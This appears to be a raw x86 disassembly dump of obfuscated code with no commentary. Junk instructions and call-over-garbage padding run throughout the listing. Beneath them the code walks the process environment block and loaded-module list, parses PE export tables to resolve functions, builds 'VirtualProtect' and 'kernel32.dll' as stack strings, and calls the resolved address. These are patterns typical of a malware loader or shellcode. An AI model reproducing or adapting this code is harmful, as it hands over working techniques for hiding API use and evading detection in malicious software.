or ecx, 0xb4c1
add ecx, 0xcc80
pop ecx
push ebx
or ebx, 0xe28c
sub ebx, 0x8c53
add ebx, 0x72ca
pop ebx
mov dword [ebp - 0x738], 0
jmp 0x513637
push ebx
push ecx
add esp, 4
sub ebx, 0xb2ae
sub ebx, 0x13e25
or ebx, 0x7660
pop ebx
push ecx
push esi
add esp, 4
jmp 0x512f72
sub ecx, 0x7025
xor ecx, 0x3aa6
pop ecx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x18b8], eax
mov ecx, dword [ebp - 0x18b8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18bc], edx
mov eax, dword [ebp - 0x18bc]
mov dword [ebp - 0x14f4], eax
push eax
and eax, 0x14e78
pop eax
push edi
push esi
add esp, 4
add edi, 0x859b
xor edi, 0x1ebd
pop edi
push eax
push eax
add esp, 4
and eax, 0x11b1a
add eax, 0x10ab9
or eax, 0xf041
pop eax
cmp dword [ebp - 0x14f4], 0
jne 0x512ff0
mov dword [ebp - 0x2e0], 0
jmp 0x513297
mov ecx, dword [ebp - 0x14f4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc3c], eax
push ebx
xor ebx, 0x15112
jmp 0x51300e
add ebx, 0x8651
pop ebx
push eax
push esi
add esp, 4
add eax, 0xe7d
pop eax
push edx
jmp 0x513027
and edx, 0x22c
add edx, 0x7ceb
pop edx
cmp dword [ebp - 0xc3c], 0
jne 0x51304c
mov dword [ebp - 0x2e0], 0
jmp 0x513297
mov ecx, dword [ebp - 0xc3c]
mov dword [ebp - 0x4dc], ecx
push ecx
call 0x513068
add byte [ebp + 0x47], cl
dec edx
cmp ecx, dword [ebp + 0x49]
aas
push eax
cmp eax, 0xe804c483
or al, byte [eax]
add byte [eax], al
add byte [edx], bh
inc edi
dec edi
push eax
dec edi
dec ebx
dec esp
cmp al, byte [ebx + 0x4eb04c4]
xor al, 0x48
dec edi
inc ecx
xor ecx, 0x14cf8
pop ecx
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc38], edx
mov eax, dword [ebp - 0x4dc]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc34], ecx
xor edx, edx
mov word [ebp - 0x200], dx
xor eax, eax
mov word [ebp - 0x34], ax
push ebx
push edi
add esp, 4
call 0x5130c9
add byte [esp + edi + 0x4f], cl
aaa
cmp dword [ecx + 0x41], ecx
dec esp
dec edx
push eax
add esp, 4
jmp 0x5130d3
sub ebx, 0x174f8
pop ebx
push ecx
push esi
add esp, 4
sub ecx, 0x4ab2
pop ecx
mov ecx, dword [ebp - 0xc34]
mov dx, word [ecx]
mov word [ebp - 0xf86], dx
mov eax, dword [ebp - 0xc34]
add eax, 2
mov dword [ebp - 0xc34], eax
mov cx, word [ebp - 0xf86]
mov word [ebp - 0x200], cx
mov edx, dword [ebp - 0xc38]
mov ax, word [edx]
mov word [ebp - 0xf88], ax
mov ecx, dword [ebp - 0xc38]
add ecx, 2
mov dword [ebp - 0xc38], ecx
mov dx, word [ebp - 0xf88]
mov word [ebp - 0x34], dx
push esi
push ebx
add esp, 4
add esi, 0x367b
pop esi
push edi
push ecx
add esp, 4
call 0x51315c
add byte [ebx + 0x4e], cl
cmp dword [ebx], esi
dec ebx
xor eax, 0xc4834633
add al, 0xe8
pop es
add byte [eax], al
add byte [eax], al
inc ebx
cmp ecx, dword [edx + 0x3f]
inc esp
push eax
add esp, 4
pop edi
movzx eax, word [ebp - 0x34]
test eax, eax
jne 0x51318c
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
sub ecx, edx
mov dword [ebp - 0x14fc], ecx
jmp 0x5131e6
movzx eax, word [ebp - 0x200]
movzx ecx, word [ebp - 0x34]
cmp eax, ecx
je 0x5130b4
movzx edx, word [ebp - 0x200]
xor edx, 0x20
movzx eax, word [ebp - 0x34]
cmp edx, eax
je 0x5130b4
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
cmp ecx, edx
jge 0x5131d0
mov dword [ebp - 0x14f8], 0xffffffff
jmp 0x5131da
mov dword [ebp - 0x14f8], 1
mov eax, dword [ebp - 0x14f8]
mov dword [ebp - 0x14fc], eax
cmp dword [ebp - 0x14fc], 0
jne 0x51322f
push eax
push esi
add esp, 4
and eax, 0x1222
pop eax
push esi
push edx
add esp, 4
jmp 0x513206
pop esi
push esi
push esi
add esp, 4
and esi, 0xc2d7
or esi, 0x183e1
pop esi
push esi
or esi, 0x13468
pop esi
mov ecx, dword [ebp - 0x4dc]
mov dword [ebp - 0x2e0], ecx
jmp 0x513297
push esi
push ebx
add esp, 4
xor esi, 0x135ad
call 0x513249
add byte [edi + 0x3e], al
xor dh, byte [esi]
dec ecx
aaa
dec ebp
inc ecx
xor al, 0x83
les eax, [ecx + eax*4]
test byte [ecx*2 + 0x535e0001], 0x81
jmp 0x51324f
dec ebp
add dword [eax], eax
pop esi
push ebx
sub ebx, 0x57f8
or ebx, 0x2605
pop ebx
mov edx, dword [ebp - 0x4dc]
mov eax, dword [edx]
mov dword [ebp - 0x4dc], eax
mov ecx, dword [ebp - 0x4dc]
cmp ecx, dword [ebp - 0xc3c]
je 0x51328d
mov edx, dword [ebp - 0x4dc]
cmp dword [edx + 0x30], 0
jne 0x513058
mov dword [ebp - 0x2e0], 0
push edx
or edx, 0xf9d1
sub edx, 0x58c7
call 0x5132b3
add byte [edx + 0x3b], cl
inc ebx
dec eax
dec eax
inc edx
xor eax, dword [esi - 0x7d]
les eax, [edx + ebx*2]
push eax
push esi
add esp, 4
sub eax, 0x86d8
and eax, 0x3116
pop eax
mov eax, dword [ebp - 0x2e0]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2fc], ecx
push edx
xor edx, 0x13c1f
sub edx, 0x751b
xor edx, 0x14267
pop edx
push eax
push eax
add esp, 4
sub eax, 0x31a
xor eax, 0xfa1c
add eax, 0x160b1
xor eax, 0x10a5c
pop eax
mov dword [ebp - 0x70c], 0
mov edx, dword [ebp - 0x2fc]
mov dword [ebp - 0x1500], edx
cmp dword [ebp - 0x1500], 0
jne 0x51333a
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x51362b
mov ecx, dword [ebp - 0x1500]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1504], edx
jne 0x513362
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x51362b
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x1504]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1508], ecx
cmp dword [ebp - 0x1508], 0
jne 0x513394
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
jmp 0x51362b
mov eax, dword [ebp - 0x2fc]
add eax, dword [ebp - 0x1508]
mov dword [ebp - 0x700], eax
jne 0x5133b9
mov ecx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], ecx
jmp 0x51362b
mov edx, dword [ebp - 0x700]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18c0], eax
mov ecx, dword [ebp - 0x700]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18c4], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18c8], ecx
mov dword [ebp - 0x704], 0
jmp 0x513413
mov edx, dword [ebp - 0x704]
add edx, 1
mov dword [ebp - 0x704], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x704]
cmp ecx, dword [eax + 0x18]
jae 0x51361f
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c0]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x708], ecx
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18c8]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18cc], eax
mov dword [ebp - 0x184], 0
jmp 0x513483
mov ecx, dword [ebp - 0x184]
add ecx, 1
mov dword [ebp - 0x184], ecx
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
test eax, eax
je 0x513535
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
test edx, edx
je 0x513535
push ebx
xor ebx, 0xed2d
and ebx, 0x6903
and ebx, 0x11a44
pop ebx
push edi
push esi
add esp, 4
add edi, 0x366b
add edi, 0x15a1d
or edi, 0x11253
and edi, 0x681d
pop edi
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
cmp ecx, eax
je 0x513527
mov ecx, dword [ebp - 0x708]
add ecx, dword [ebp - 0x184]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x184]
movsx ecx, byte [ebp + eax - 0x804]
cmp edx, ecx
jne 0x51352e
jmp 0x513474
jmp 0x513535
push ecx
add ecx, 0xde0f
or ecx, 0x126bf
and ecx, 0x40c9
and ecx, 0x10ec3
pop ecx
push esi
push edx
add esp, 4
and esi, 0xf2eb
jmp 0x513560
and esi, 0x11718
pop esi
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
cmp eax, edx
jne 0x513594
mov dword [ebp - 0xc40], 0
jmp 0x513603
push esi
jmp 0x51359a
pop esi
push eax
jmp 0x5135a1
jmp 0x5135a7
sub eax, 0x1536e
pop eax
push eax
push eax
add esp, 4
jmp 0x5135b9
or eax, 0x11288
add eax, 0xaa57
pop eax
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
or eax, 0x20
cmp ecx, eax
jge 0x5135f9
mov dword [ebp - 0xc40], 0xffffffff
jmp 0x513603
mov dword [ebp - 0xc40], 1
cmp dword [ebp - 0xc40], 0
jne 0x51361a
mov ecx, dword [ebp - 0x18cc]
mov dword [ebp - 0x4e0], ecx
jmp 0x51362b
jmp 0x513404
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
mov eax, dword [ebp - 0x4e0]
mov dword [ebp - 0x738], eax
push edi
add edi, 0x1400c
pop edi
push edx
push ebx
add esp, 4
jmp 0x51364c
sub edx, 0x1558f
add edx, 0xbf01
pop edx
push eax
add eax, 0xe0c
pop eax
push edx
and edx, 0x14f02
pop edx
mov ecx, dword [ebp - 0x3cc]
add ecx, 0xe
mov dword [ebp - 0x1918], ecx
push ecx
push ecx
add esp, 4
or ecx, 0x17e6f
add ecx, 0x7bcb
jmp 0x51368f
pop ecx
push ebx
push esi
add esp, 4
sub ebx, 0x11969
add ebx, 0x5142
pop ebx
push edi
xor edi, 0xc499
pop edi
cmp dword [ebp - 0x3cc], 0
je 0x5136bc
cmp dword [ebp - 0xa5c], 0
jne 0x513702
push esi
push esi
add esp, 4
and esi, 0x10ef9
call 0x5136d6
add byte [edi + eax*2], bh
xor ecx, dword [eax + 0x3f]
dec edi
inc eax
aas
cmp al, byte [ebx + 0x535e04c4]
or ebx, 0xedb1
xor ebx, 0x13331
or ebx, 0x65d6
pop ebx
mov edx, dword [ebp - 0x738]
mov dword [ebp - 0x18d0], edx
push 0
call dword [ebp - 0x18d0]
mov dword [ebp - 0x1fb0], 0xa
push edi
push esi
add esp, 4
add edi, 0x3526
jmp 0x51371d
pop edi
push ebx
add ebx, 0xcb9a
or ebx, 0xc951
or ebx, 0x164
pop ebx
push esi
push esi
add esp, 4
xor esi, 0x944f
pop esi
mov eax, dword [ebp - 0x3cc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x381], cl
mov edx, dword [ebp - 0xa5c]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158c], edx
mov dword [ebp - 0xc70], 0
push ebx
or ebx, 0x16447
or ebx, 0x4384
jmp 0x51377f
pop ebx
push eax
push ecx
add esp, 4
and eax, 0x799a
or eax, 0x17a5f
jmp 0x51379a
pop eax
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push edi
and edi, 0x17c22
jmp 0x513812
add edi, 0x1161e
pop edi
push eax
or eax, 0x15328
and eax, 0x10c2c
jmp 0x51382f
add eax, 0x374c
pop eax
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push esi
add esi, 0x4eae
jmp 0x51386c
pop esi
push edi
push eax
add esp, 4
and edi, 0x8a69
jmp 0x513880
pop edi
push ecx
add ecx, 0x1474b
or ecx, 0x14349
pop ecx
cmp dword [ebp - 0x150c], 0
jne 0x5138a7
mov dword [ebp - 0x2a8], 0
jmp 0x513b4e
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push ebx
push eax
add esp, 4
or ebx, 0x9ff
sub ebx, 0x148bd
pop ebx
push ebx
push ecx
add esp, 4
jmp 0x5138d8
xor ebx, 0x17243
xor ebx, 0xc32
add ebx, 0x12e33
pop ebx
cmp dword [ebp - 0xc4c], 0
jne 0x513903
mov dword [ebp - 0x2a8], 0
jmp 0x513b4e
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push ecx
push ecx
add esp, 4
xor ecx, 0x5b0b
sub ecx, 0x1285a
add ecx, 0x5855
xor ecx, 0xe991
pop ecx
push ebx
or ebx, 0x7a08
and ebx, 0x6869
xor ebx, 0x148e1
pop ebx
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push ecx
push ebx
add esp, 4
and ecx, 0x692
or ecx, 0xdd31
jmp 0x513984
pop ecx
push ebx
push edx
add esp, 4
add ebx, 0xf909
jmp 0x513996
add ebx, 0x16fd1
pop ebx
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
mov ecx, dword [ebp - 0xc48]
add ecx, 2
mov dword [ebp - 0xc48], ecx
mov dx, word [ebp - 0xf8c]
mov word [ebp - 0x38], dx
push eax
push esi
add esp, 4
sub eax, 0xfcdd
add eax, 0xc2db
pop eax
push ebx
push esi
add esp, 4
and ebx, 0x16d93
pop ebx
push edi
xor edi, 0x3e77
pop edi
push edi
push eax
add esp, 4
and edi, 0x7081
pop edi
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x513a43
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1514], ecx
jmp 0x513a9d
movzx eax, word [ebp - 0x204]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x51396b
movzx edx, word [ebp - 0x204]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x51396b
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x513a87
mov dword [ebp - 0x1510], 0xffffffff
jmp 0x513a91
mov dword [ebp - 0x1510], 1
mov eax, dword [ebp - 0x1510]
mov dword [ebp - 0x1514], eax
cmp dword [ebp - 0x1514], 0
jne 0x513ae6
push ebx
call 0x513ab3
add byte [esi + esi], bh
cmp al, byte [eax + 0x42]
inc ecx
add esp, 4
and ebx, 0x209
pop ebx
push ebx
push ebx
add esp, 4
call 0x513ace
add byte [edi], bh
aas
inc esi
inc esp
xor al, 0x83
les eax, [ecx + eax*4]
jecxz 0x513a73
xor al, byte [ecx]
add byte [ebx - 0x75], bl
lea ebx, [ebx + edi*8]
invalid
push edi
push esi
add esp, 4
and edi, 0x9c70
and edi, 0x811f
jmp 0x513afd
pop edi
push esi
push edx
add esp, 4
add esi, 0x578a
xor esi, 0x17188
pop esi
push esi
sub esi, 0x16335
pop esi
mov edx, dword [ebp - 0x4e4]
mov eax, dword [edx]
mov dword [ebp - 0x4e4], eax
mov ecx, dword [ebp - 0x4e4]
cmp ecx, dword [ebp - 0xc4c]
je 0x513b44
mov edx, dword [ebp - 0x4e4]
cmp dword [edx + 0x30], 0
jne 0x51390f
mov dword [ebp - 0x2a8], 0
push edx
push eax
add esp, 4
jmp 0x513b58
pop edx
push eax
and eax, 0xe502
pop eax
push edx
push ebx
add esp, 4
or edx, 0x1180b
jmp 0x513b71
pop edx
push esi
add esi, 0xfad1
sub esi, 0x9fa
pop esi
cmp dword [ebp - 0x2a8], 0
jne 0x514485
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push eax
xor eax, 0x10aca
pop eax
push ebx
jmp 0x513c36
call fcn.00513c43
add byte [eax + 0x38], al
inc ecx
inc edi
aas
inc ebx
aas